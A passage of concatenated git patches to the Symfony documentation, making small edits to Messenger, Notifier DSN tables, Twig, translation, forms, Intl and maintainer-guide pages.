+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 

From 1834da9e971aa71870ba2fc66417d0f4ae05fc24 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 23 Feb 2021 18:57:23 +0100
Subject: [PATCH 0667/5766] Update data_collector.rst

I removed the DataCollector class import because it has been replaced with the AbstractDataCollector class.
---
 profiler/data_collector.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 6e53fd5203d..ef377c47974 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -31,7 +31,6 @@ request::
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\DataCollector\DataCollector;
 
     class RequestCollector extends AbstractDataCollector
     {

From 55edd4857e5023321ba0143bb7b1dcc27ad8870c Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 18:27:21 +0100
Subject: [PATCH 0668/5766] [Messenger] Add options for PostgreSQL
 LISTEN/NOTIFY support

---
 messenger.rst | 32 ++++++++++++++++++++++++++++----
 1 file changed, 28 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index abf45612374..ee98b1f2e84 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1074,6 +1074,12 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. caution::
+
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
+
 The transport has a number of options:
 
 ==================  =====================================  ======================
@@ -1093,11 +1099,28 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-.. caution::
+.. versionadded:: 5.1
 
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
+    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
+    in Symfony 5.1.
+
+When using PostgreSQL, you have access to the following options to leverage
+the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
+than the default polling behavior of the Doctrine transport because
+PostgreSQL will directly notify the workers when a new message is inserted
+in the table.
+
+=======================  =====================================       ======================
+Option                   Description                                 Default
+=======================  =====================================       ======================
+use_notify               Whether to use LISTEN/NOTIFY.               true
+check_delayed_interval   The interval to check for delayed           1000
+                         messages, in milliseconds.
+                         Set to 0 to disable checks.
+get_notify_timeout       The length of time to wait for a            0
+                         response when calling
+                         ``PDO::pgsqlGetNotify```, in milliseconds.
+=======================  ==========================================  ======================
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1971,3 +1994,4 @@ Learn more
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
+.. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html

From bd0073371144f4664597be836ecd523529edd5cb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:23:37 +0200
Subject: [PATCH 0669/5766] Fixed table markup

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ee98b1f2e84..c97efd5210f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1110,9 +1110,9 @@ than the default polling behavior of the Doctrine transport because
 PostgreSQL will directly notify the workers when a new message is inserted
 in the table.
 
-=======================  =====================================       ======================
+=======================  ==========================================  ======================
 Option                   Description                                 Default
-=======================  =====================================       ======================
+=======================  ==========================================  ======================
 use_notify               Whether to use LISTEN/NOTIFY.               true
 check_delayed_interval   The interval to check for delayed           1000
                          messages, in milliseconds.

From 91096d5fbb61cb3209e97524732191062bc11a9e Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Fri, 26 Feb 2021 19:05:50 -0500
Subject: [PATCH 0670/5766] Add serialize reference

---
 reference/twig_reference.rst | 23 +++++++++++++++++++++++
 serializer.rst               | 13 +++++++++++++
 2 files changed, 36 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 270c9c678c8..e4991845096 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -558,6 +558,29 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+serialize
+~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = []) }}
+
+``object``
+    **type**: ``mixed``
+
+``format`` *(optional)*
+    **type**: ``string``
+
+``context`` *(optional)*
+    **type**: ``array``
+
+.. versionadded:: 5.3
+
+    The ``serialize`` filter was introduced in Symfony 5.3.
+
+Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
+and returns a serialized string in the specified ``format``.
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/serializer.rst b/serializer.rst
index b4dd7e03d52..7d526ae46bc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -41,6 +41,19 @@ you need it or it can be used in a controller::
         }
     }
 
+Or you can use the ``serialize`` Twig filter in a template:
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json') }}
+
+See the :doc:`twig reference </reference/twig_reference>` for
+more information.
+
+.. versionadded:: 5.3
+
+    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
+
 Adding Normalizers and Encoders
 -------------------------------
 

From 367efdb0ea5ef8648d857660623a7d59701ce36c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mehmet=20G=C3=B6kalp?= <mehgokalp98@gmail.com>
Date: Sat, 30 Jan 2021 18:31:32 +0300
Subject: [PATCH 0671/5766] JsonResponse content updated

---
 components/http_foundation.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0fa78dc6439..449d29ea0f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -668,9 +668,11 @@ class, which can make this even easier::
     // if you know the data to send when creating the response
     $response = new JsonResponse(['data' => 123]);
 
-    // if you don't know the data to send when creating the response
+    // if you don't know the data to send or if you want to customize the encoding options
     $response = new JsonResponse();
     // ...
+    // configure any custom encoding options (if needed, it must be called before "setData()")
+    //$response->setEncodingOptions(JsonResponse::DEFAULT_ENCODING_OPTIONS | \JSON_PRESERVE_ZERO_FRACTION);
     $response->setData(['data' => 123]);
 
     // if the data to send is already encoded in JSON

From 77089fa264786081748cd1d90c331784c2882b50 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Fri, 5 Mar 2021 15:35:03 -0500
Subject: [PATCH 0672/5766] Update docs relating to translation extraction

---
 translation.rst       | 5 +++++
 translation/debug.rst | 7 ++++---
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8153d000531..b8e61251893 100644
--- a/translation.rst
+++ b/translation.rst
@@ -292,6 +292,8 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. _translatable-objects:
+
 Translatable Objects
 --------------------
 
@@ -386,6 +388,9 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
   the ``translator`` service and makes calls to the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that creates
+  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
+  the ``trans()`` method.
 
 .. _translation-resource-locations:
 
diff --git a/translation/debug.rst b/translation/debug.rst
index 74e52783245..c511d7c9777 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -19,9 +19,10 @@ command helps you to find these missing or unused translation messages templates
 
 .. caution::
 
-    The extractors can't find messages translated outside templates, like form
-    labels or controllers. Dynamic translations using variables or expressions
-    in templates are not detected either:
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator. Dynamic translations using variables
+    or expressions in templates are not detected either:
 
     .. code-block:: twig
 

From dc9e6134441517ba520d30c060aeb70ed17e4a85 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:50:50 +0200
Subject: [PATCH 0673/5766] [#15063] Added versionaddeds

---
 translation.rst       | 5 +++++
 translation/debug.rst | 5 +++--
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index b1e1cb619c0..4330e171c0a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -468,6 +468,11 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
 
+.. versionadded:: 5.3
+
+    Support for extracting Translatable objects has been introduced in
+    Symfony 5.3.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
diff --git a/translation/debug.rst b/translation/debug.rst
index c511d7c9777..cc14945dc9d 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -21,8 +21,9 @@ command helps you to find these missing or unused translation messages templates
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator. Dynamic translations using variables
-    or expressions in templates are not detected either:
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
 
     .. code-block:: twig
 

From 90e6580276ba5e07a002b453c069f093daac6731 Mon Sep 17 00:00:00 2001
From: AntoineRoue <64271860+AntoineRoue@users.noreply.github.com>
Date: Tue, 6 Apr 2021 20:57:34 +0200
Subject: [PATCH 0674/5766] Update framework.rst

This value was not changed with https://github.com/symfony/symfony/pull/30390
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ada92f8f25e..63e0ca7ad20 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1221,7 +1221,7 @@ The value can be one of:
 ``true``
     Throw an exception when the requirements are not met;
 ``false``
-    Disable exceptions when the requirements are not met and return ``null``
+    Disable exceptions when the requirements are not met and return ``''``
     instead;
 ``null``
     Disable checking the requirements (thus, match the route even when the

From bdb8a80215972b4b85cbb957fb70241e9391f3e8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 11:48:23 +0200
Subject: [PATCH 0675/5766] Rename LightSms package

Follows https://github.com/symfony/symfony/pull/40736
---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index b5c9d8eda80..488ed973a5a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -64,7 +64,7 @@ FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@defa
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSMS    ``symfony/lightsms-notifier``     ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+LightSms    ``symfony/light-sms-notifier``    ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -86,7 +86,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSMS
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSms
     integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 2204e13626a8a06c78654de002601355b616f134 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 12:34:13 +0200
Subject: [PATCH 0676/5766] Remove variable

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b5c9d8eda80..987afd08f8a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -155,7 +155,7 @@ Service     Package                           DSN
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
+Gitter      ``symfony/gitter-notifier``       ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``

From 9e1e0a906038a705bfe377706b95656873120df7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Apr 2021 14:23:37 +0200
Subject: [PATCH 0677/5766] [Notifier] Add MicrosoftTeams

---
 notifier.rst | 35 ++++++++++++++++++-----------------
 1 file changed, 18 insertions(+), 17 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index e07794be445..b260b58b58a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,22 +149,23 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ================================  ===========================================================================
-Service     Package                           DSN
-==========  ================================  ===========================================================================
-Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
-FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
-Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-Gitter      ``symfony/gitter-notifier``       ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure     ``symfony/mercure-notifier``      ``mercure://HUB_ID?topic=TOPIC``
-RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
-Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==========  ================================  ===========================================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -179,7 +180,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Gitter, Mercure and FakeChat integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 0c57c73506ccc7663f618cfe69766cdd3f724fa4 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 8 Apr 2021 13:16:41 +0200
Subject: [PATCH 0678/5766] Add troubleshooting for parallel merges to
 maintainer guide

---
 _build/maintainer_guide.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index f5913a8e811..8485bc3191d 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -352,6 +352,26 @@ forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solutio
     $ git merge 5.1
     $ ...
 
+Merging while the target branch changed
+.......................................
+
+Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
+doing it. In these cases, ``gh merge ...`` failes to push. Solve this by
+resetting your local branch and restarting the merge:
+
+.. code-block:: terminal
+
+    $ gh merge ...
+    # this failed
+
+    # fetch the updated 5.x branch from GitHub
+    $ git fetch upstream
+    $ git checkout 5.x
+    $ git reset --hard upstream/5.x
+
+    # restart the merge
+    $ gh merge ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html

From f68ec043011cc63df61541f5758dd70b198117e5 Mon Sep 17 00:00:00 2001
From: Matthew Setter <matthew@matthewsetter.com>
Date: Thu, 8 Apr 2021 09:54:26 +0200
Subject: [PATCH 0679/5766] Corrected minor grammar mistake in the routing docs

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index bf971924311..bd3697451a4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2216,8 +2216,8 @@ Stateless Routes
     The ``stateless`` option was introduced in Symfony 5.1.
 
 Sometimes, when an HTTP response should be cached, it is important to ensure
-that can happen. However, whenever session is started during a request, Symfony
-turns the response into a private non-cacheable response.
+that can happen. However, whenever a session is started during a request,
+Symfony turns the response into a private non-cacheable response.
 
 For details, see :doc:`/http_cache`.
 

From c8deb3d013d486e99016d0918cd125180dcac555 Mon Sep 17 00:00:00 2001
From: Cristoforo Cervino <cristoforo.cervino@facile.it>
Date: Tue, 16 Mar 2021 14:19:06 +0100
Subject: [PATCH 0680/5766] add form_attr option doc

---
 reference/forms/types/form.rst                |  3 +++
 .../forms/types/options/form_attr.rst.inc     | 20 +++++++++++++++++++
 2 files changed, 23 insertions(+)
 create mode 100644 reference/forms/types/options/form_attr.rst.inc

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9e1a5d47227..43a5a398bdf 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -19,6 +19,7 @@ on all types for which ``FormType`` is the parent.
 |                           | - `error_bubbling`_                                                |
 |                           | - `error_mapping`_                                                 |
 |                           | - `extra_fields_message`_                                          |
+|                           | - `form_attr`_                                                     |
 |                           | - `help`_                                                          |
 |                           | - `help_attr`_                                                     |
 |                           | - `help_html`_                                                     |
@@ -116,6 +117,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/extra_fields_message.rst.inc
 
+.. include:: /reference/forms/types/options/form_attr.rst.inc
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
diff --git a/reference/forms/types/options/form_attr.rst.inc b/reference/forms/types/options/form_attr.rst.inc
new file mode 100644
index 00000000000..bb6cb1ca4fd
--- /dev/null
+++ b/reference/forms/types/options/form_attr.rst.inc
@@ -0,0 +1,20 @@
+``form_attr``
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` or ``string`` **default**: ``false``
+
+When ``true`` and used on a form element, it adds a `"form" attribute`_ to its HTML field representation with
+its HTML form id. By doing this, a form element can be rendered outside the HTML form while still working as expected::
+
+    $builder->add('body', TextareaType::class, [
+        'form_attr' => true,
+    ]);
+
+This can be useful when you need to solve nested form problems.
+You can also set this to ``true`` on a root form to automatically set the "form" attribute on all its children.
+
+.. note::
+
+    When the root form has no ID, ``form_attr`` is required to be a string identifier to be used as the form ID.
+
+.. _`"form" attribute`: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fae-form

From d0d10f6f8b7faf5c1a19aa6dc2da0a671fcce427 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Apr 2021 19:04:59 +0200
Subject: [PATCH 0681/5766] Adding typehint

...from https://symfony.com/doc/current/security/guard_authentication.html#the-guard-authenticator-methods
---
 security/guard_authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 6949d008d8d..4a406239aed 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -187,7 +187,7 @@ This requires you to implement several methods::
             return true;
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)
         {
             // on success, let the request continue
             return null;

From 5cdeedc73d7b32d48fce220b5bea5f57395658bc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 9 Apr 2021 08:55:04 +0200
Subject: [PATCH 0682/5766] Fix: Build

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index d3c7b0e4c23..456cfc706c6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -661,7 +661,7 @@ Customizing the Success Handler
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
 success handler behaves, create your own
-:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 3833bbac0e74d4a948e4bcd0cc80b0a42ddc65c3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 14:40:46 +0200
Subject: [PATCH 0683/5766] [Notifier] [FakeSms] [FakeChat] Update DSN

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index b260b58b58a..305c433f53d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://default?to=TO&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -153,7 +153,7 @@ integration with these chat services:
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``

From 9a69cac3322dc410d4bbfb2a5f53d33f332de1d7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 25 Feb 2021 09:01:54 +0100
Subject: [PATCH 0684/5766] [Intl] Remove documentation about deprecated code

---
 components/intl.rst | 34 ++++------------------------------
 1 file changed, 4 insertions(+), 30 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index cb120034615..5331097be01 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -6,12 +6,11 @@ The Intl Component
 ==================
 
     This component provides access to the localization data of the `ICU library`_.
-    It also provides a PHP replacement layer for the C `intl extension`_.
 
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -30,30 +29,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-If you install the component via Composer, the following classes and functions
-of the intl extension will be automatically provided if the intl extension is
-not loaded:
-
-* :phpclass:`Collator`
-* :phpclass:`IntlDateFormatter`
-* :phpclass:`Locale`
-* :phpclass:`NumberFormatter`
-* :phpfunction:`intl_error_name`
-* :phpfunction:`intl_is_failure`
-* :phpfunction:`intl_get_error_code`
-* :phpfunction:`intl_get_error_message`
-
-When the intl extension is not available, the following classes are used to
-replace the intl classes:
-
-* :class:`Symfony\\Component\\Intl\\Collator\\Collator`
-* :class:`Symfony\\Component\\Intl\\DateFormatter\\IntlDateFormatter`
-* :class:`Symfony\\Component\\Intl\\Locale\\Locale`
-* :class:`Symfony\\Component\\Intl\\NumberFormatter\\NumberFormatter`
-* :class:`Symfony\\Component\\Intl\\Globals\\IntlGlobals`
-
-Composer automatically exposes these classes in the global namespace.
-
 Accessing ICU Data
 ------------------
 
@@ -211,9 +186,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -375,7 +350,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _intl extension: https://www.php.net/manual/en/book.intl.php
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: http://site.icu-project.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html

From f9c37de16ef72f750eac88ec93feb9c1a6f893ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:38:39 +0200
Subject: [PATCH 0685/5766] [Serializer] Document the csv_end_of_line option

---
 components/serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 580f55aa613..6eac8eebd51 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -984,6 +984,8 @@ Option                  Description                                            D
 ``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
 ``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
